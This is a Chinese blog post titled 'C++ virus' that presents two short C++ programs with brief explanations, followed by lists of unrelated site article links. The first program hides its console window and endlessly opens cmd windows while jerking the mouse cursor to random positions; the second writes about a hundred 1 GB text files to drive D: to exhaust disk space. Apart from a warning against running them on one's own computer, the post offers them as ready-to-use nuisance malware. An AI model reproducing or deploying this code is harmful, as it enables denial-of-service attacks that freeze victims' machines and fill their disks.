C++病毒
2024-10-10 08:28:31
病毒代码一
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
for(;;){
system("start cmd");
for(int i=1;i<=100;i++) {
SetCursorPos(rand()%y,rand()%x);
}
} return 0;
}
请勿在自己计算机上运行,后果自负!!!
阅读提示:
GetSystemMetrics()用于获得屏幕的分辨率,然后不断的给鼠标坐标设定随机数。
SetCursorPos用于设定鼠标坐标
system("start cmd")用于新建一个cmd窗口
病毒代码二
#include<bits/stdc++.h>
using namespace std;
int main(){
for(int i=0;i<100;i++){
string s;
stringstream ss;
ss<<i;
ss>>s;
freopen(("D:\\"+s+".txt").c_str(),"w",stdout);
for(int j=0;j<1024*1024*1024;j++){
cout<<'*';//一个txt放一个GB ,因为一个TXT最多只能放一个GB
}
} }
使用freopen不断往磁盘里面放文件,每个文件只能占一个GB(经测试,一个文件如果设定超过1GB会出问题)
最新文章
- 在jexus下如何简单的配置多站点
- 使用私有Pod Spec的类库--提高公司开发效率
- noSuchMethodException问题
- protected的使用注意
- ajax中返回json数据有";
- libc-glibc
- SQL2008 SQL Server 代理服务提供的凭据无效
- Codeforces Round #325 (Div. 2) B. Laurenty and Shop 前缀和
- Matlab read_grib.r4 安装新方法(转自:http://blog.sina.com.cn/s/blog_9f36648b010179s7.html)
- p标签里面不能嵌套div
- hdu 5072 Coprime(同色三角形+容斥)
- Java重载重写与实现方法的规则
- DirectX11 With Windows SDK--10 摄像机类
- RCNN--目标检测
- jquery 中多选和全选
- WampServer的下载方法
- Tomcat学习总结(7)——Tomcat与Jetty比较
- php中函数preg_match或preg_match_all 第三个参数$match的解释
- mvn install 时候报GBK编码错误解决办法
- vue中的样式
热门文章
- 在游戏中播放cg视频遇到的问题
- 浅谈C#取消令牌CancellationTokenSource
- WPF 图表控件之曲线绘制与移动
- ELK太重?试试KFC日志采集
- NGINX-1.6.3部署详情
- Jpa-操作mongodb
- RHEL 7 “There are no enabled repos” 的解决方法
- JS获取对象在内存中计算后的样式
- SpringBoot整合Quartz定时任务(持久化到数据库)
- VMware中安装CentOS Linux release 7.4.1708 (Core)